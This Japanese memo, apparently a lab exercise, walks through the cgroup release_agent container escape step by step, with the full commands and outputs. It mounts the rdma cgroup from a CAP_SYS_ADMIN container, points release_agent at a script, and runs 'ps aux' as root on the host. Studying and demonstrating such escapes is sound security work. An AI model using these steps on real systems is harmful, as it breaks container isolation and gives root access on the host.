CAP_SYS_ADMIN を持つコンテナはコンテナエスケープ可能であることを、以下の記事に従って試してみるメモ。
これは以下のメカニズムを利用している。
1.4 What does notify_on_release do ?
If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that cgroup is removed, then the kernel runs the command specified by the contents of the "release_agent" file in that hierarchy's root directory, supplying the pathname (relative to the mount point of the cgroup file system) of the abandoned cgroup. This enables automatic removal of abandoned cgroups. The default value of notify_on_release in the root cgroup at system boot is disabled (0). The default value of other cgroups at creation is the current value of their parents' notify_on_release settings. The default value of a cgroup hierarchy's release_agent path is empty.
- notify_on_release フラグが有効 (1) になっている場合、
- cgroup の最後のタスクが終了する (終了するか、別の cgroup に接続する) たびに、
- ルートディレクトリにある release_agent ファイルで指定されたコマンドが実行される
手順
Cloud9 を Ubuntu で起動する。Amazon Linux 2 だと、コンテナ内に root cgroup がマウントされたサブシステムがないため、この手法ではコンテナエスケープできないと思われる (release_agent は root cgroup にあるため)。
コンテナに CAP_SYS_ADMIN を与えて起動する。
Admin:~/environment $ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash Unable to find image 'ubuntu:latest' locally latest: Pulling from library/ubuntu 4d32b49e2995: Pull complete Digest: sha256:bea6d19168bbfd6af8d77c2cc3c572114eb5d113e6f422573c93cb605a0e2ffb Status: Downloaded newer image for ubuntu:latest root@9d03d13ac863:/#
コンテナが持っているケーパビリティーを確認するには、capsh
を入れるとよい。
apt-get update apt-get install -y libcap2-bin
ケーパビリティを確認する。cap_sys_admin
が確認できる。
root@9d03d13ac863:/# cat /proc/self/status | grep CapEff CapEff: 00000000a82425fb root@9d03d13ac863:/# capsh --decode=00000000a82425fb 0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap root@9d03d13ac863:/#
cgroup サブシステムを確認する。rdma が root cgroup になっている。
root@9d03d13ac863:/# cat /proc/self/cgroup 12:devices:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 11:blkio:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 10:pids:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 9:hugetlb:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 8:memory:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 7:freezer:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 6:perf_event:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 5:rdma:/ 4:cpuset:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 3:cpu,cpuacct:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 2:net_cls,net_prio:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 1:name=systemd:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63 0::/system.slice/containerd.service root@9d03d13ac863:/#
rdma は RO でマウントされている。
root@9d03d13ac863:/# mount | grep "cgroup (ro" cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd) cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset) cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event) cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer) cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb) cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids) cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio) cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices) root@9d03d13ac863:/#
ここからコンテナエスケープの手順で、CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp
ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。
root@9d03d13ac863:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
なお、CAP_SYS_ADMIN がない場合は以下のようにマウントに失敗する。
root@4b3e32480952:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x mount: /tmp/cgrp: permission denied.
ディレクトリとファイルを確認する。
root@9d03d13ac863:/# ls -l /tmp/cgrp/ total 0 -rw-r--r-- 1 root root 0 Mar 28 09:48 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 28 09:48 cgroup.procs -r--r--r-- 1 root root 0 Mar 28 09:48 cgroup.sane_behavior -rw-r--r-- 1 root root 0 Mar 28 09:48 notify_on_release -rw-r--r-- 1 root root 0 Mar 28 09:48 release_agent -rw-r--r-- 1 root root 0 Mar 28 09:48 tasks drwxr-xr-x 2 root root 0 Mar 28 09:48 x root@9d03d13ac863:/# ls -l /tmp/cgrp/x/ total 0 -rw-r--r-- 1 root root 0 Mar 28 09:49 cgroup.clone_children -rw-r--r-- 1 root root 0 Mar 28 09:49 cgroup.procs -rw-r--r-- 1 root root 0 Mar 28 09:49 notify_on_release -r--r--r-- 1 root root 0 Mar 28 09:49 rdma.current -rw-r--r-- 1 root root 0 Mar 28 09:49 rdma.max -rw-r--r-- 1 root root 0 Mar 28 09:49 tasks root@9d03d13ac863:/#
子 cgroup の notify_on_realse
を 1
にする。
root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release root@9d03d13ac863:/#
ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent
に書き込む。
root@9d03d13ac863:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@9d03d13ac863:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent root@9d03d13ac863:/#
release_agent
を確認する。
root@9d03d13ac863:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/0dfc3591597a615196dc866e487a7c7abf8a79dd254cc79d62b8dfc74cef078e/diff/cmd root@9d03d13ac863:/#
cmd
を作成する。
root@9d03d13ac863:/# echo '#!/bin/sh' > /cmd root@9d03d13ac863:/# echo "ps aux > $host_path/output" >> /cmd root@9d03d13ac863:/# chmod a+x /cmd root@9d03d13ac863:/#
cmd
の内容を確認する。
root@9d03d13ac863:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/0dfc3591597a615196dc866e487a7c7abf8a79dd254cc79d62b8dfc74cef078e/diff/output root@9d03d13ac863:/#
これで準備はできたので、子 cgroup 内ですぐに終了するプロセスを生成する。シェルを実行して自身の PID を cgroup.props
に書き込む。
root@9d03d13ac863:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@9d03d13ac863:/#
ホスト側でコマンドを実行した出力が確認できた。
root@9d03d13ac863:/# head /output USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.1 0.4 225448 9092 ? Ss 09:34 0:02 /sbin/init root 2 0.0 0.0 0 0 ? S 09:34 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< 09:34 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< 09:34 0:00 [rcu_par_gp] root 6 0.0 0.0 0 0 ? I< 09:34 0:00 [kworker/0:0H-kb] root 9 0.0 0.0 0 0 ? I< 09:34 0:00 [mm_percpu_wq] root 10 0.0 0.0 0 0 ? S 09:34 0:00 [ksoftirqd/0] root 11 0.0 0.0 0 0 ? I 09:34 0:00 [rcu_sched] root 12 0.0 0.0 0 0 ? S 09:34 0:00 [migration/0] root@9d03d13ac863:/#